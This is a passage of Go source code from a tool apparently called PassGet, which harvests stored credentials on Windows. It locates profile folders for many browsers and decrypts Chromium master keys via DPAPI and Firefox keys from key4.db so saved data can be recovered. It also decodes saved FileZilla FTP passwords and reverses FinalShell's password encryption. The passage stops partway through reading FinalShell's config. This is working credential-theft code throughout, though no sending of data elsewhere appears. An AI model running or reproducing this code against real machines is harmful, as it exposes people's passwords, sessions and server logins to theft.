127 | db, err := sql.Open("sqlite", types.FirefoxSessionStorage.TempFilename())
128 | if err != nil {
129 | return err
130 | }
131 | defer os.Remove(types.FirefoxSessionStorage.TempFilename())
132 | defer db.Close()
133 |
134 | _, err = db.Exec(closeJournalMode)
135 | if err != nil {
136 | log.Debugf("close journal mode error: %v", err)
137 | }
138 | rows, err := db.Query(querySessionStorage)
139 | if err != nil {
140 | return err
141 | }
142 | defer rows.Close()
143 | for rows.Next() {
144 | var originKey, key, value string
145 | if err = rows.Scan(&originKey, &key, &value); err != nil {
146 | log.Debugf("scan session storage error: %v", err)
147 | }
148 | s := new(session)
149 | s.fillFirefox(originKey, key, value)
150 | *f = append(*f, *s)
151 | }
152 | return nil
153 | }
154 |
155 | func (s *session) fillFirefox(originKey, key, value string) {
156 | // originKey = moc.buhtig.:https:443
157 | p := strings.Split(originKey, ":")
158 | h := typeutil.Reverse([]byte(p[0]))
159 | if bytes.HasPrefix(h, []byte(".")) {
160 | h = h[1:]
161 | }
162 | if len(p) == 3 {
163 | s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2])
164 | }
165 | s.Key = key
166 | s.Value = value
167 | }
168 |
169 | func (f *FirefoxSessionStorage) Name() string {
170 | return "sessionStorage"
171 | }
172 |
173 | func (f *FirefoxSessionStorage) Len() int {
174 | return len(*f)
175 | }
176 |
--------------------------------------------------------------------------------
/modules/browser/pick/browser.go:
--------------------------------------------------------------------------------
1 | package browser
2 |
3 | import (
4 | "path/filepath"
5 | "sort"
6 | "strings"
7 |
8 | "PassGet/modules/browser/browserdata"
9 | "PassGet/modules/browser/pick/chromium"
10 | "PassGet/modules/browser/pick/firefox"
11 | "PassGet/modules/utils/browser/fileutil"
12 | "PassGet/modules/utils/browser/typeutil"
13 | )
14 |
15 | type Browser interface {
16 | // Name is browser's name
17 | Name() string
18 | // BrowsingData returns all browsing data in the browser.
19 | BrowsingData(isFullExport bool) (*browserdata.BrowserData, error)
20 | }
21 |
22 | // PickBrowsers returns a list of browsers that match the name and profile.
23 | func PickBrowsers(name, profile string) ([]Browser, error) {
24 | var browsers []Browser
25 | clist := pickChromium(name, profile)
26 | for _, b := range clist {
27 | if b != nil {
28 | browsers = append(browsers, b)
29 | }
30 | }
31 | flist := pickFirefox(name, profile)
32 | for _, b := range flist {
33 | if b != nil {
34 | browsers = append(browsers, b)
35 | }
36 | }
37 | return browsers, nil
38 | }
39 |
40 | func pickChromium(name, profile string) []Browser {
41 | var browsers []Browser
42 | name = strings.ToLower(name)
43 | if name == "all" {
44 | for _, v := range chromiumList {
45 | if !fileutil.IsDirExists(filepath.Clean(v.profilePath)) {
46 | //log.Warnf("find browser failed, profile folder does not exist, browser %s", v.name)
47 | continue
48 | }
49 | multiChromium, err := chromium.New(v.name, v.storage, v.profilePath, v.dataTypes)
50 | if err != nil {
51 | //log.Errorf("new chromium error %v", err)
52 | continue
53 | }
54 | for _, b := range multiChromium {
55 | //log.Warnf("find browser success, browser %s", b.Name())
56 | browsers = append(browsers, b)
57 | }
58 | }
59 | }
60 | if c, ok := chromiumList[name]; ok {
61 | if profile == "" {
62 | profile = c.profilePath
63 | }
64 | if !fileutil.IsDirExists(filepath.Clean(profile)) {
65 | //log.Errorf("find browser failed, profile folder does not exist, browser %s", c.name)
66 | }
67 | chromes, err := chromium.New(c.name, c.storage, profile, c.dataTypes)
68 | if err != nil {
69 | //log.Errorf("new chromium error %v", err)
70 | }
71 | for _, chrome := range chromes {
72 | //log.Warnf("find browser success, browser %s", chrome.Name())
73 | browsers = append(browsers, chrome)
74 | }
75 | }
76 | return browsers
77 | }
78 |
79 | func pickFirefox(name, profile string) []Browser {
80 | var browsers []Browser
81 | name = strings.ToLower(name)
82 | if name == "all" || name == "firefox" {
83 | for _, v := range firefoxList {
84 | if profile == "" {
85 | profile = v.profilePath
86 | } else {
87 | profile = fileutil.ParentDir(profile)
88 | }
89 |
90 | if !fileutil.IsDirExists(filepath.Clean(profile)) {
91 | //log.Warnf("find browser failed, profile folder does not exist, browser %s", v.name)
92 | continue
93 | }
94 |
95 | if multiFirefox, err := firefox.New(profile, v.dataTypes); err == nil {
96 | for _, b := range multiFirefox {
97 | //log.Warnf("find browser success, browser %s", b.Name())
98 | browsers = append(browsers, b)
99 | }
100 | } else {
101 | //log.Errorf("new firefox error %v", err)
102 | }
103 | }
104 |
105 | return browsers
106 | }
107 |
108 | return nil
109 | }
110 |
111 | func ListBrowsers() []string {
112 | var l []string
113 | l = append(l, typeutil.Keys(chromiumList)...)
114 | l = append(l, typeutil.Keys(firefoxList)...)
115 | sort.Strings(l)
116 | return l
117 | }
118 |
119 | func Names() string {
120 | return strings.Join(ListBrowsers(), "|")
121 | }
122 |
--------------------------------------------------------------------------------
/modules/browser/pick/browser_windows.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package browser
4 |
5 | import (
6 | "PassGet/modules/utils/browser/types"
7 | )
8 |
9 | var (
10 | chromiumList = map[string]struct {
11 | name string
12 | profilePath string
13 | storage string
14 | dataTypes []types.DataType
15 | }{
16 | "chrome": {
17 | name: chromeName,
18 | profilePath: chromeUserDataPath,
19 | dataTypes: types.DefaultChromiumTypes,
20 | },
21 | "edge": {
22 | name: edgeName,
23 | profilePath: edgeProfilePath,
24 | dataTypes: types.DefaultChromiumTypes,
25 | },
26 | "chromium": {
27 | name: chromiumName,
28 | profilePath: chromiumUserDataPath,
29 | dataTypes: types.DefaultChromiumTypes,
30 | },
31 | "chrome-beta": {
32 | name: chromeBetaName,
33 | profilePath: chromeBetaUserDataPath,
34 | dataTypes: types.DefaultChromiumTypes,
35 | },
36 | "opera": {
37 | name: operaName,
38 | profilePath: operaProfilePath,
39 | dataTypes: types.DefaultChromiumTypes,
40 | },
41 | "opera-gx": {
42 | name: operaGXName,
43 | profilePath: operaGXProfilePath,
44 | dataTypes: types.DefaultChromiumTypes,
45 | },
46 | "vivaldi": {
47 | name: vivaldiName,
48 | profilePath: vivaldiProfilePath,
49 | dataTypes: types.DefaultChromiumTypes,
50 | },
51 | "coccoc": {
52 | name: coccocName,
53 | profilePath: coccocProfilePath,
54 | dataTypes: types.DefaultChromiumTypes,
55 | },
56 | "brave": {
57 | name: braveName,
58 | profilePath: braveProfilePath,
59 | dataTypes: types.DefaultChromiumTypes,
60 | },
61 | "yandex": {
62 | name: yandexName,
63 | profilePath: yandexProfilePath,
64 | dataTypes: types.DefaultYandexTypes,
65 | },
66 | "360": {
67 | name: speed360Name,
68 | profilePath: speed360ProfilePath,
69 | dataTypes: types.DefaultChromiumTypes,
70 | },
71 | "qq": {
72 | name: qqBrowserName,
73 | profilePath: qqBrowserProfilePath,
74 | dataTypes: types.DefaultChromiumTypes,
75 | },
76 | "dc": {
77 | name: dcBrowserName,
78 | profilePath: dcBrowserProfilePath,
79 | dataTypes: types.DefaultChromiumTypes,
80 | },
81 | "sogou": {
82 | name: sogouName,
83 | profilePath: sogouProfilePath,
84 | dataTypes: types.DefaultChromiumTypes,
85 | },
86 | }
87 | firefoxList = map[string]struct {
88 | name string
89 | storage string
90 | profilePath string
91 | dataTypes []types.DataType
92 | }{
93 | "firefox": {
94 | name: firefoxName,
95 | profilePath: firefoxProfilePath,
96 | dataTypes: types.DefaultFirefoxTypes,
97 | },
98 | }
99 | )
100 |
101 | var (
102 | chromeUserDataPath = homeDir + "/AppData/Local/Google/Chrome/User Data/Default/"
103 | chromeBetaUserDataPath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/Default/"
104 | chromiumUserDataPath = homeDir + "/AppData/Local/Chromium/User Data/Default/"
105 | edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/Default/"
106 | braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/"
107 | speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/"
108 | qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/"
109 | operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/"
110 | operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
111 | vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
112 | coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
113 | yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default/"
114 | dcBrowserProfilePath = homeDir + "/AppData/Local/DCBrowser/User Data/Default/"
115 | sogouProfilePath = homeDir + "/AppData/Roaming/SogouExplorer/Webkit/Default/"
116 |
117 | firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/"
118 | )
119 |
--------------------------------------------------------------------------------
/modules/browser/pick/chromium/chromium.go:
--------------------------------------------------------------------------------
1 | package chromium
2 |
3 | import (
4 | "PassGet/modules/browser/browserdata"
5 | "PassGet/modules/utils/browser/fileutil"
6 | "PassGet/modules/utils/browser/types"
7 | "PassGet/modules/utils/browser/typeutil"
8 | "io/fs"
9 | "os"
10 | "path/filepath"
11 | "strings"
12 | )
13 |
14 | type Chromium struct {
15 | name string
16 | storage string
17 | profilePath string
18 | masterKey []byte
19 | dataTypes []types.DataType
20 | Paths map[types.DataType]string
21 | }
22 |
23 | // New create instance of Chromium browser, fill item's path if item is existed.
24 | func New(name, storage, profilePath string, dataTypes []types.DataType) ([]*Chromium, error) {
25 | c := &Chromium{
26 | name: name,
27 | storage: storage,
28 | profilePath: profilePath,
29 | dataTypes: dataTypes,
30 | }
31 | multiDataTypePaths, err := c.userDataTypePaths(c.profilePath, c.dataTypes)
32 | if err != nil {
33 | return nil, err
34 | }
35 | chromiumList := make([]*Chromium, 0, len(multiDataTypePaths))
36 | for user, itemPaths := range multiDataTypePaths {
37 | chromiumList = append(chromiumList, &Chromium{
38 | name: fileutil.BrowserName(name, user),
39 | dataTypes: typeutil.Keys(itemPaths),
40 | Paths: itemPaths,
41 | storage: storage,
42 | })
43 | }
44 | return chromiumList, nil
45 | }
46 |
47 | func (c *Chromium) Name() string {
48 | return c.name
49 | }
50 |
51 | func (c *Chromium) BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) {
52 | // delete chromiumKey from dataTypes, doesn't need to export key
53 | var dataTypes []types.DataType
54 | for _, dt := range c.dataTypes {
55 | if dt != types.ChromiumKey {
56 | dataTypes = append(dataTypes, dt)
57 | }
58 | }
59 |
60 | if !isFullExport {
61 | dataTypes = types.FilterSensitiveItems(c.dataTypes)
62 | }
63 |
64 | data := browserdata.New(dataTypes)
65 |
66 | if err := c.copyItemToLocal(); err != nil {
67 | return nil, err
68 | }
69 |
70 | masterKey, err := c.GetMasterKey()
71 | if err != nil {
72 | return nil, err
73 | }
74 |
75 | c.masterKey = masterKey
76 | if err := data.Recovery(c.masterKey); err != nil {
77 | return nil, err
78 | }
79 |
80 | return data, nil
81 | }
82 |
83 | func (c *Chromium) copyItemToLocal() error {
84 | for i, path := range c.Paths {
85 | filename := i.TempFilename()
86 | var err error
87 | switch {
88 | case fileutil.IsDirExists(path):
89 | if i == types.ChromiumLocalStorage {
90 | err = fileutil.CopyDir(path, filename, "lock")
91 | }
92 | if i == types.ChromiumSessionStorage {
93 | err = fileutil.CopyDir(path, filename, "lock")
94 | }
95 | default:
96 | err = fileutil.CopyFile(path, filename)
97 | }
98 | if err != nil {
99 | //log.Errorf("copy item to local, path %s, filename %s err %v", path, filename, err)
100 | continue
101 | }
102 | }
103 | return nil
104 | }
105 |
106 | // userDataTypePaths return a map of user to item path, map[profile 1][item's name & path key pair]
107 | func (c *Chromium) userDataTypePaths(profilePath string, items []types.DataType) (map[string]map[types.DataType]string, error) {
108 | multiItemPaths := make(map[string]map[types.DataType]string)
109 | parentDir := fileutil.ParentDir(profilePath)
110 | err := filepath.Walk(parentDir, chromiumWalkFunc(items, multiItemPaths))
111 | if err != nil {
112 | return nil, err
113 | }
114 | var keyPath string
115 | var dir string
116 | for userDir, profiles := range multiItemPaths {
117 | for _, profile := range profiles {
118 | if strings.HasSuffix(profile, types.ChromiumKey.Filename()) {
119 | keyPath = profile
120 | dir = userDir
121 | break
122 | }
123 | }
124 | }
125 | t := make(map[string]map[types.DataType]string)
126 | for userDir, v := range multiItemPaths {
127 | if userDir == dir {
128 | continue
129 | }
130 | t[userDir] = v
131 | t[userDir][types.ChromiumKey] = keyPath
132 | fillLocalStoragePath(t[userDir], types.ChromiumLocalStorage)
133 | }
134 | return t, nil
135 | }
136 |
137 | // chromiumWalkFunc return a filepath.WalkFunc to find item's path
138 | func chromiumWalkFunc(items []types.DataType, multiItemPaths map[string]map[types.DataType]string) filepath.WalkFunc {
139 | return func(path string, info fs.FileInfo, err error) error {
140 | if err != nil {
141 | if os.IsPermission(err) {
142 | //log.Warnf("skipping walk chromium path permission error, path %s, err %v", path, err)
143 | return nil
144 | }
145 | return err
146 | }
147 | for _, v := range items {
148 | if info.Name() != v.Filename() {
149 | continue
150 | }
151 | if strings.Contains(path, "System Profile") {
152 | continue
153 | }
154 | if strings.Contains(path, "Snapshot") {
155 | continue
156 | }
157 | if strings.Contains(path, "def") {
158 | continue
159 | }
160 | profileFolder := fileutil.ParentBaseDir(path)
161 | if strings.Contains(filepath.ToSlash(path), "/Network/Cookies") {
162 | profileFolder = fileutil.BaseDir(strings.ReplaceAll(filepath.ToSlash(path), "/Network/Cookies", ""))
163 | }
164 | if _, exist := multiItemPaths[profileFolder]; exist {
165 | multiItemPaths[profileFolder][v] = path
166 | } else {
167 | multiItemPaths[profileFolder] = map[types.DataType]string{v: path}
168 | }
169 | }
170 | return nil
171 | }
172 | }
173 |
174 | func fillLocalStoragePath(itemPaths map[types.DataType]string, storage types.DataType) {
175 | if p, ok := itemPaths[types.ChromiumHistory]; ok {
176 | lsp := filepath.Join(filepath.Dir(p), storage.Filename())
177 | if fileutil.IsDirExists(lsp) {
178 | itemPaths[types.ChromiumLocalStorage] = lsp
179 | }
180 | }
181 | }
182 |
--------------------------------------------------------------------------------
/modules/browser/pick/chromium/chromium_windows.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package chromium
4 |
5 | import (
6 | "encoding/base64"
7 | "errors"
8 | "os"
9 |
10 | "PassGet/log"
11 | "PassGet/modules/utils/browser/crypto"
12 | "PassGet/modules/utils/browser/fileutil"
13 | "PassGet/modules/utils/browser/types"
14 | "github.com/tidwall/gjson"
15 | )
16 |
17 | var errDecodeMasterKeyFailed = errors.New("decode master key failed")
18 |
19 | func (c *Chromium) GetMasterKey() ([]byte, error) {
20 | b, err := fileutil.ReadFile(types.ChromiumKey.TempFilename())
21 | if err != nil {
22 | return nil, err
23 | }
24 | defer os.Remove(types.ChromiumKey.TempFilename())
25 |
26 | encryptedKey := gjson.Get(b, "os_crypt.encrypted_key")
27 | if !encryptedKey.Exists() {
28 | return nil, nil
29 | }
30 |
31 | key, err := base64.StdEncoding.DecodeString(encryptedKey.String())
32 | if err != nil {
33 | return nil, errDecodeMasterKeyFailed
34 | }
35 | c.masterKey, err = crypto.DecryptWithDPAPI(key[5:])
36 | if err != nil {
37 | log.Errorf("decrypt master key failed, err %v", err)
38 | return nil, err
39 | }
40 | log.Debugf("get master key success, browser %s", c.name)
41 | return c.masterKey, nil
42 | }
43 |
--------------------------------------------------------------------------------
/modules/browser/pick/consts.go:
--------------------------------------------------------------------------------
1 | package browser
2 |
3 | import (
4 | "os"
5 | )
6 |
7 | // home dir path for all platforms
8 | var homeDir, _ = os.UserHomeDir()
9 |
10 | const (
11 | chromeName = "Chrome"
12 | chromeBetaName = "Chrome Beta"
13 | chromiumName = "Chromium"
14 | edgeName = "Microsoft Edge"
15 | braveName = "Brave"
16 | operaName = "Opera"
17 | operaGXName = "OperaGX"
18 | vivaldiName = "Vivaldi"
19 | coccocName = "CocCoc"
20 | yandexName = "Yandex"
21 | firefoxName = "Firefox"
22 | speed360Name = "360speed"
23 | qqBrowserName = "QQ"
24 | dcBrowserName = "DC"
25 | sogouName = "Sogou"
26 | arcName = "Arc"
27 | )
28 |
--------------------------------------------------------------------------------
/modules/browser/pick/firefox/firefox.go:
--------------------------------------------------------------------------------
1 | package firefox
2 |
3 | import (
4 | "bytes"
5 | "database/sql"
6 | "errors"
7 | "fmt"
8 | "io/fs"
9 | "os"
10 | "path/filepath"
11 |
12 | _ "modernc.org/sqlite" // sqlite3 driver TODO: replace with chooseable driver
13 |
14 | //"PassGet/log"
15 | "PassGet/modules/browser/browserdata"
16 | "PassGet/modules/utils/browser/crypto"
17 | "PassGet/modules/utils/browser/fileutil"
18 | "PassGet/modules/utils/browser/types"
19 | "PassGet/modules/utils/browser/typeutil"
20 | )
21 |
22 | type Firefox struct {
23 | name string
24 | storage string
25 | profilePath string
26 | masterKey []byte
27 | items []types.DataType
28 | itemPaths map[types.DataType]string
29 | }
30 |
31 | var ErrProfilePathNotFound = errors.New("profile path not found")
32 |
33 | // New returns new Firefox instances.
34 | func New(profilePath string, items []types.DataType) ([]*Firefox, error) {
35 | multiItemPaths := make(map[string]map[types.DataType]string)
36 | // ignore walk dir error since it can be produced by a single entry
37 | _ = filepath.WalkDir(profilePath, firefoxWalkFunc(items, multiItemPaths))
38 |
39 | firefoxList := make([]*Firefox, 0, len(multiItemPaths))
40 | for name, itemPaths := range multiItemPaths {
41 | firefoxList = append(firefoxList, &Firefox{
42 | name: fmt.Sprintf("firefox-%s", name),
43 | items: typeutil.Keys(itemPaths),
44 | itemPaths: itemPaths,
45 | })
46 | }
47 |
48 | return firefoxList, nil
49 | }
50 |
51 | func (f *Firefox) copyItemToLocal() error {
52 | for i, path := range f.itemPaths {
53 | filename := i.TempFilename()
54 | if err := fileutil.CopyFile(path, filename); err != nil {
55 | return err
56 | }
57 | }
58 | return nil
59 | }
60 |
61 | func firefoxWalkFunc(items []types.DataType, multiItemPaths map[string]map[types.DataType]string) fs.WalkDirFunc {
62 | return func(path string, info fs.DirEntry, err error) error {
63 | if err != nil {
64 | if os.IsPermission(err) {
65 | //log.Warnf("skipping walk firefox path %s permission error: %v", path, err)
66 | return nil
67 | }
68 | return err
69 | }
70 | for _, v := range items {
71 | if info.Name() == v.Filename() {
72 | parentBaseDir := fileutil.ParentBaseDir(path)
73 | if _, exist := multiItemPaths[parentBaseDir]; exist {
74 | multiItemPaths[parentBaseDir][v] = path
75 | } else {
76 | multiItemPaths[parentBaseDir] = map[types.DataType]string{v: path}
77 | }
78 | }
79 | }
80 |
81 | return nil
82 | }
83 | }
84 |
85 | // GetMasterKey returns master key of Firefox. from key4.db
86 | func (f *Firefox) GetMasterKey() ([]byte, error) {
87 | tempFilename := types.FirefoxKey4.TempFilename()
88 |
89 | // Open and defer close of the database.
90 | keyDB, err := sql.Open("sqlite", tempFilename)
91 | if err != nil {
92 | return nil, fmt.Errorf("open key4.db error: %w", err)
93 | }
94 | defer os.Remove(tempFilename)
95 | defer keyDB.Close()
96 |
97 | metaItem1, metaItem2, err := queryMetaData(keyDB)
98 | if err != nil {
99 | return nil, fmt.Errorf("query metadata error: %w", err)
100 | }
101 |
102 | nssA11, nssA102, err := queryNssPrivate(keyDB)
103 | if err != nil {
104 | return nil, fmt.Errorf("query NSS private error: %w", err)
105 | }
106 |
107 | return processMasterKey(metaItem1, metaItem2, nssA11, nssA102)
108 | }
109 |
110 | func queryMetaData(db *sql.DB) ([]byte, []byte, error) {
111 | const query = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
112 | var metaItem1, metaItem2 []byte
113 | if err := db.QueryRow(query).Scan(&metaItem1, &metaItem2); err != nil {
114 | return nil, nil, err
115 | }
116 | return metaItem1, metaItem2, nil
117 | }
118 |
119 | func queryNssPrivate(db *sql.DB) ([]byte, []byte, error) {
120 | const query = `SELECT a11, a102 from nssPrivate`
121 | var nssA11, nssA102 []byte
122 | if err := db.QueryRow(query).Scan(&nssA11, &nssA102); err != nil {
123 | return nil, nil, err
124 | }
125 | return nssA11, nssA102, nil
126 | }
127 |
128 | // processMasterKey process master key of Firefox.
129 | // Process the metaBytes and nssA11 with the corresponding cryptographic operations.
130 | func processMasterKey(metaItem1, metaItem2, nssA11, nssA102 []byte) ([]byte, error) {
131 | metaPBE, err := crypto.NewASN1PBE(metaItem2)
132 | if err != nil {
133 | return nil, fmt.Errorf("error creating ASN1PBE from metaItem2: %w", err)
134 | }
135 |
136 | flag, err := metaPBE.Decrypt(metaItem1)
137 | if err != nil {
138 | return nil, fmt.Errorf("error decrypting master key: %w", err)
139 | }
140 | const passwordCheck = "password-check"
141 |
142 | if !bytes.Contains(flag, []byte(passwordCheck)) {
143 | return nil, errors.New("flag verification failed: password-check not found")
144 | }
145 |
146 | keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
147 | if !bytes.Equal(nssA102, keyLin) {
148 | return nil, errors.New("master key verification failed: nssA102 not equal to expected value")
149 | }
150 |
151 | nssA11PBE, err := crypto.NewASN1PBE(nssA11)
152 | if err != nil {
153 | return nil, fmt.Errorf("error creating ASN1PBE from nssA11: %w", err)
154 | }
155 |
156 | finallyKey, err := nssA11PBE.Decrypt(metaItem1)
157 | if err != nil {
158 | return nil, fmt.Errorf("error decrypting final key: %w", err)
159 | }
160 | if len(finallyKey) < 24 {
161 | return nil, errors.New("length of final key is less than 24 bytes")
162 | }
163 | return finallyKey[:24], nil
164 | }
165 |
166 | func (f *Firefox) Name() string {
167 | return f.name
168 | }
169 |
170 | func (f *Firefox) BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) {
171 | dataTypes := f.items
172 | if !isFullExport {
173 | dataTypes = types.FilterSensitiveItems(f.items)
174 | }
175 |
176 | data := browserdata.New(dataTypes)
177 |
178 | if err := f.copyItemToLocal(); err != nil {
179 | return nil, err
180 | }
181 |
182 | masterKey, err := f.GetMasterKey()
183 | if err != nil {
184 | return nil, err
185 | }
186 |
187 | f.masterKey = masterKey
188 | if err := data.Recovery(f.masterKey); err != nil {
189 | return nil, err
190 | }
191 | return data, nil
192 | }
193 |
--------------------------------------------------------------------------------
/modules/filezilla/filezilla.go:
--------------------------------------------------------------------------------
1 | package filezilla
2 |
3 | import (
4 | "PassGet/modules/utils"
5 | "encoding/base64"
6 | "encoding/xml"
7 | "fmt"
8 | "log"
9 | "os"
10 | "strings"
11 | )
12 |
13 | type Server struct {
14 | Host string `xml:"Host"`
15 | Port string `xml:"Port"`
16 | User string `xml:"User"`
17 | Pass string `xml:"Pass"`
18 | Password string
19 | }
20 | type ServerDetails struct {
21 | RecentServers struct {
22 | Server []Server `xml:"Server"`
23 | } `xml:"RecentServers"`
24 | }
25 |
26 | func Get() []Server {
27 | files, _, err := utils.ListFilesAndDirs(utils.FileZillaProfilesDir)
28 | if err != nil {
29 | log.Println(err)
30 | return nil
31 | }
32 | for _, file := range files {
33 | if strings.Contains(file, utils.FileZillaProfile1) || strings.Contains(file, utils.FileZillaProfile2) {
34 | FtpServerDetails := GetServerDetails(file)
35 | if FtpServerDetails == nil {
36 | return nil
37 | }
38 | Servers := make([]Server, 0)
39 | for _, server := range FtpServerDetails.RecentServers.Server {
40 | if server.Pass != "" {
41 | decoded, err := base64.StdEncoding.DecodeString(server.Pass)
42 | if err != nil {
43 | continue
44 | }
45 | server.Password = string(decoded)
46 | Servers = append(Servers, server)
47 | continue
48 | }
49 | Servers = append(Servers, server)
50 | }
51 | return Servers
52 | }
53 | }
54 | return nil
55 | }
56 | func GetServerDetails(filename string) *ServerDetails {
57 | file, err := os.Open(filename)
58 | if err != nil {
59 | fmt.Println("Error opening file:", err)
60 | return nil
61 | }
62 | defer file.Close()
63 | ClientConfigFile := new(ServerDetails)
64 | decoder := xml.NewDecoder(file)
65 | err = decoder.Decode(ClientConfigFile)
66 | if err != nil {
67 | fmt.Println("Error decoding XML:", err)
68 | return nil
69 | }
70 | return ClientConfigFile
71 | }
72 |
--------------------------------------------------------------------------------
/modules/finalshell/decrypt.go:
--------------------------------------------------------------------------------
1 | package finalshell
2 |
3 | import (
4 | "bytes"
5 | "crypto/des"
6 | "crypto/md5"
7 | "encoding/base64"
8 | "encoding/binary"
9 | "fmt"
10 | "regexp"
11 | )
12 |
13 | func removeNonPrintableChars(input string) string {
14 | re := regexp.MustCompile(`[\x00-\x1F\x7F-\x9F]`)
15 | return re.ReplaceAllString(input, "")
16 | }
17 |
18 | type Random struct {
19 | seed int64
20 | }
21 |
22 | func NewRandom(seed int64) *Random {
23 | return &Random{seed: (seed ^ 0x5DEECE66D) & ((1 << 48) - 1)}
24 | }
25 |
26 | func (r *Random) next(bits int) int64 {
27 | r.seed = (r.seed*0x5DEECE66D + 0xB) & ((1 << 48) - 1)
28 | value := r.seed >> (48 - bits)
29 | if value < (1 << (bits - 1)) {
30 | return value
31 | }
32 | return value - (1 << bits)
33 | }
34 |
35 | func (r *Random) nextLong() int64 {
36 | return (r.next(32) << 32) + r.next(32)
37 | }
38 |
39 | // DES解密
40 | func desDecode(data []byte, key []byte) ([]byte, error) {
41 | block, err := des.NewCipher(key)
42 | if err != nil {
43 | return nil, err
44 | }
45 |
46 | if len(data)%8 != 0 {
47 | return nil, fmt.Errorf("data length is not a multiple of 8")
48 | }
49 |
50 | dst := make([]byte, len(data))
51 | for i := 0; i < len(data); i += 8 {
52 | block.Decrypt(dst[i:i+8], data[i:i+8])
53 | }
54 | return dst, nil
55 | }
56 |
57 | // 随机密钥生成
58 | func randomKey(head []byte) []byte {
59 | ilist := []int{24, 54, 89, 120, 19, 49, 85, 115, 14, 44, 80, 110, 9, 40, 75, 106, 43, 73, 109, 12, 38, 68, 104, 7, 33, 64,
60 | 99, 3, 28, 59, 94, 125, 112, 16, 51, 82, 107, 11, 46, 77, 103, 6, 41, 72, 98, 1, 37, 67, 4, 35, 70, 101, 0,
61 | 30, 65, 96, 122, 25, 61, 91, 117, 20, 56, 86, 74, 104, 13, 43, 69, 99, 8, 38, 64, 95, 3, 34, 59, 90, 125,
62 | 29, 93, 123, 32, 62, 88, 119, 27, 58, 83, 114, 22, 53, 79, 109, 17, 48, 35, 66, 101, 5, 31, 61, 96, 0, 26,
63 | 56, 92, 122, 21, 51, 87, 117, 55, 85, 120, 24, 50, 80, 116, 19, 45, 75, 111, 14, 40, 71, 106, 10, 50, 81,
64 | 116, 20, 45, 76, 111, 15, 41, 71, 106, 10, 36, 66, 102, 5, 69, 100, 8, 39, 65, 95, 3, 34, 60, 90, 126, 29,
65 | 55, 85, 121, 24, 12, 42, 78, 108, 7, 37, 73, 103, 2, 33, 68, 99, 124, 28, 63, 94, 31, 61, 97, 0, 26, 57,
66 | 92, 123, 21, 52, 87, 118, 17, 47, 82, 113, 100, 4, 39, 70, 96, 126, 34, 65, 91, 121, 30, 60, 86, 116, 25,
67 | 55, 120, 23, 58, 89, 115, 18, 54, 84, 110, 13, 49, 79, 105, 9, 44, 75, 62, 92, 1, 31, 57, 88, 123, 27, 52,
68 | 83, 118, 22, 48, 78, 113, 17, 81, 112, 20, 51, 76, 107, 15, 46, 72, 102, 10, 41, 67, 97, 6, 36}
69 | i := ilist[head[5]]
70 | ks := 3680984568597093857 / int64(i)
71 | rand1 := NewRandom(ks)
72 | t := head[0]
73 |
74 | for j := 0; j < int(t); j++ {
75 | rand1.nextLong()
76 | }
77 |
78 | n := rand1.nextLong()
79 | rand2 := NewRandom(n)
80 |
81 | ld := []int64{
82 | int64(head[4]), rand2.nextLong(), int64(head[7]), int64(head[3]), rand2.nextLong(), int64(head[1]), rand1.nextLong(), int64(head[2]),
83 | }
84 |
85 | byteStream := new(bytes.Buffer)
86 | for _, l := range ld {
87 | err := binary.Write(byteStream, binary.BigEndian, l)
88 | if err != nil {
89 | return nil
90 | }
91 | }
92 |
93 | keyData := md5Hash(byteStream.Bytes())[:8]
94 | return keyData
95 | }
96 | func md5Hash(data []byte) []byte {
97 | hash := md5.Sum(data)
98 | return hash[:]
99 | }
100 | func Decrypt(data string) (string, error) {
101 | if data == "" {
102 | return "", fmt.Errorf("empty data")
103 | }
104 |
105 | buf, err := base64.StdEncoding.DecodeString(data)
106 | if err != nil {
107 | return "", err
108 | }
109 |
110 | head := buf[:8]
111 | d := buf[8:]
112 |
113 | key := randomKey(head)
114 |
115 | bt, err := desDecode(d, key)
116 | if err != nil {
117 | return "", err
118 | }
119 |
120 | return removeNonPrintableChars(string(bt)), nil
121 | }
122 |
--------------------------------------------------------------------------------
/modules/finalshell/finalshell.go:
--------------------------------------------------------------------------------
1 | package finalshell
2 |
3 | import (
4 | "PassGet/modules/utils"
5 | "encoding/json"
6 | "fmt"
7 | "github.com/parsiya/golnk"
8 | "log"
9 | "os"
10 | "strings"
11 | )
12 |
13 | func Get(Path string) (*ClientConfig, []ServerDetail) {
14 | if Path == "" {
15 | WorkDir := GetInstallPath()
16 | Path = WorkDir
17 | }
18 | ConnFileList, _, _ := utils.ListFilesAndDirs(Path + `\conn`)
19 | return GetClientConfig(Path), GetConnDetails(ConnFileList)
20 | }
21 |
22 | func GetInstallPath() string {
23 | WorkDir := ""
24 | for _, dir := range utils.WindowsDirs {
25 | files, _, err := utils.ListFilesAndDirs(dir)
26 | if err != nil {
27 | continue
28 | }
29 | for _, file := range files {
30 | if strings.Contains(file, "FinalShell.lnk") {
31 | f, _ := lnk.File(file)
32 | WorkDir = f.StringData.WorkingDir
33 | break
34 | }
35 | }
36 | if WorkDir != "" {
37 | break
38 | }
39 | }
40 | if WorkDir == "" {
41 | log.Println("Can not get install path")
42 | }
43 | return WorkDir
44 | }
45 | func GetClientConfig(Path string) *ClientConfig {
46 | ConfigFilepath := Path + `\config.json`
47 | data, err := os.ReadFile(ConfigFilepath)
48 | if err != nil {
49 | fmt.Println("读取文件失败:", err)
50 | return nil
